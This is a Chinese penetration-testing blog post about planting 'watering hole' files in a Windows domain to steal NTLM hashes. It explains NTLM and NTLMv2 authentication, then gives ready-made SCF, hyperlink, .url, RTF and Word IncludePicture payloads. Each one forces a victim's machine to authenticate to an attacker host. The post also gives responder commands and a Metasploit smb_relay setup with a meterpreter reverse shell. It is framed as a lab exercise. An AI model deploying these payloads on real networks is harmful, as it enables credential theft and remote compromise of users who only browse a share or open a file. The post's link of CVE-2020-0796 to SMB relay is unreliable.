Drunkmars's Blog

浅谈域环境下布置水坑实现hash窃取

字数统计: 1.9k阅读时长: 7 min
2021/07/28

本文首发于先知社区:https://xz.aliyun.com/t/9905

在内网渗透的过程中,最重要的就是信息搜集,但是在极端情况下我们找不到能够横或者跨域的机器,那么这时候我们就可以尝试做一个水坑,来尝试获取hash。当然这只是理想情况,在愈发强调对抗的当下,利用水坑钓鱼也变得不是那么简单。

本地认证

既然是获取hash就需要一些基础知识,这里首先说以下本地认证。在Windows中,密码Hash称之为NTLM Hash,这个NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较

假设我的密码是admin,那么操作系统会将admin转换为十六进制,经过Unicode转换后,再调用MD4加密算法加密,这个加密结果的十六进制就是NTLM Hash

1
2
3
admin -> hex(16进制编码) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

本地认证中主要可以概括为以下三步:winlogon.exe -> 接收用户输入 -> lsass.exe -> (认证)

首先,用户注销、重启、锁屏后,操作系统会让winlogon显示登录界面,也就是输入框,接收输入后,将密码交给lsass进程,这个进程中会存一份明文密码,将明文密码加密成NTLM Hash,对SAM数据库比较认证。

SCF文件

首先简单的说一下什么是scf文件

Microsoft Windows 是使用Windows Explorer Command 文件的主要软件程序,该文件最初由 Microsoft Corporation开发。 网站访问者分析表明,SCF 文件通常在 Windows 10 用户计算机上找到,在 United States中最受欢迎。 统计上,这些用户很可能正在运行Google Chrome internet浏览器。

其实是UNC路径

UNC,即Universal Naming Convention,意为通用命名规则。UNC路径就是类似\softer这样的形式的网络路径,unc共享就是指网络硬盘的共享:

当访问softer计算机中名为it168的共享文件夹,用UNC表示就是\softer\it168;如果是softer计算机的默认管理共享C$则用\softer\c$来表示。

可以使用SCF文件执行有限的一组操作(例如显示Windows桌面或打开Windows资源管理器)。但是,如果使用SCF文件访问特定的UNC路径,那么我们可以发起攻击

这里简单介绍下环境

攻击机kali:192.168.10.11

靶机win7:192.168.10.15

首先生成一个SCF文件

1
2
3
4
5
[Shell]
Command=2
IconFile=\\192.168.10.11\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

image-20210721144609475

然后将这个scf文件设置为共享状态

image-20210721145626690

然后使用kali上的responder进行监听操作

1
responder -I eth0

这里简单说一下responder,Responder是监听LLMNR和NetBIOS协议的工具之一,能够抓取网络中所有的LLMNR和NetBIOS请求并进行响应,获取最初的账户凭证。

Responder会利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器,DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中的明文凭据,还可以通过Multi-Relay功能在目标系统中执行命令。

image-20210721152204329

当目标机器只要访问这个scf文件之后我们就可以拿到它的NTLM hash,注意这里不需要点击也可以得到,只需要能够访问即可

当用户浏览共享时,将自动从他的系统建立到SCF文件中包含的UNC路径的连接。Windows将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中,服务器会向客户端发送一个随机的8字节质询密钥,并使用此质询密钥再次加密散列的NTLM/ LANMAN密码,我们将捕获NTLMv2哈希。

image-20210721151931467

smb中继

直接使用SCF进行攻击的一个好处就是不需要跟任何用户进行交互并且能够使用户强制进行NTLMv2 hash进行协商。这里也可以跟smb中继技术相结合,得到一个meterpreter

使用smb中继有一个比较有名的漏洞就是CVE-2020-0796,要想了解smb中继首先需要知道NTLM v2的认证流程

1.客户端向服务器发送登录请求,密码在客户端被 hash 一次
2.客户端向服务器发送 username
3.服务器返回一个 16 字节的挑战码(Challenge),并将已存储的用户密码 hash 加密这个 Challenge,生成 Challenge1
4.客户端将第一步 hash 的密码与 Challenge 再进行 hash 一次,生成 response 即 Challenge2
5.客户端将 response 发送给服务器
6.服务器比较 Challenge1 和 response,相同则认证成功

2.jpg

这里了解了NTLM的认证原理,那么smb中继就简单了,这里攻击者加在了中间,不断的截获流量并重放流量

1.jpg

使用exploit/windows/smb/smb_relay进行监听,同上操作即可拿到一个meterpreter

1
2
3
4
use exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.11
run

image-20210721145852893

image-20210721150114652

使用超链接

这里使用超链接窃取hash的原理跟LLMNR欺骗有类似之处,都是访问一个不存在的路径/程序,从而达到在本地子网发送请求的效果。这里就不扩展说LLMNR欺骗了,有兴趣的小伙伴可自行搜索

生成一个超链接,编辑超链接指向kali,注意这个qwe.exe在kali上是不存在的

1
\\192.168.10.11\qwe.exe

image-20210721155556705

开启监听

1
responder -I eth0

image-20210721152204329

当靶机打开这个超链接之后我们就能得到hash值

image-20210721152250221

使用url

原理跟使用超链接类似,让靶机去访问IconFile=\\192.168.10.11\qwe.icon,即一个不存在的文件

生成一个test1.url,内容如下

1
2
3
4
5
6
c:\link.url@victim
[InternetShortcut]
URL=whatever //url内容
WorkingDirectory=whatever //url名称
IconFile=\\192.168.10.11\qwe.icon
IconIndex=1

使用responder进行监听

1
responder -I eth0

image-20210721152531010

​ 注意这里如果使用url的话会有点明显,会有一个uac界面的提醒,会增加被发现的可能

image-20210721152551283

这里假装受害者比较笨点了这个url如下图所示

image-20210721152602165

就会得到靶机的ntlm hash

image-20210721152500463

使用RTF

何为rtf?

****富文本格式**(**Rich Text Format**)即**RTF格式**,又称*多文本格式*,是由微软公司开发的跨平台文档格式。大多数的文字处理软件都能读取和保存RTF文档。

富文本格式 (RTF) 是一种方便于不同的设备、系统查看的文本和图形文档格式。

rtf文件的创建主要是为了方便在不同操作系统下创建的文件能够在多个操作系统之间进行传输和查看

生成一个test2.rtf,内容如下所示

1
{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://192.168.10.11/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}

这里出了点问题,好像是因为我是win7没有装word,所以rtf文件格式显示不出来,这里如果使用word打开是能够抓到hash的,这里就不演示了

image-20210721160726003

没有抓到hash…

image-20210721153015816

通过IncludePicture

何为IncludePicture?IncludePicture就相当于一个windows为了方便插入多个图片而设计的一个功能

这里使用ctfl + F9可以得到一个{ includePicture },我们在后面加上一个不存在的地址,组合起来就为{ includePicture "\\192.168.10.11\test.jpg"}

image-20210721153423701

保存为一个xml文件

image-20210721153458283

上传到靶机启动即可窃取hash

image-20210721153650076

CATALOG
  1. 1. 本地认证
  2. 2. SCF文件
  3. 3. smb中继
  4. 4. 使用超链接
  5. 5. 使用url
  6. 6. 使用RTF
  7. 7. 通过IncludePicture